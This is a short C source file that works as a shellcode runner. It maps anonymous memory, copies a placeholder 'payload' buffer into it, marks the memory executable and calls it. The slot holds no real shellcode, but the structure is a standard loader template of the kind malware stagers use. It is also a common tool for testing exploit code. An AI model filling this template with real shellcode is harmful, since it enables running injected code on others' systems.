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#include <fcntl.h>
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#include <unistd.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/mman.h>
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char payload[8000] = "PAYLOAD:";
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int main() {
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    void *ptr = mmap(0, sizeof(payload), PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
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    if (ptr == MAP_FAILED) {
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        return 0;
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    }
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    memcpy(ptr, payload, sizeof(payload));
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    mprotect(ptr, sizeof(payload), PROT_READ | PROT_EXEC);
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    int (*sc)() = ptr;
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    sc();
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    return 0;
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}
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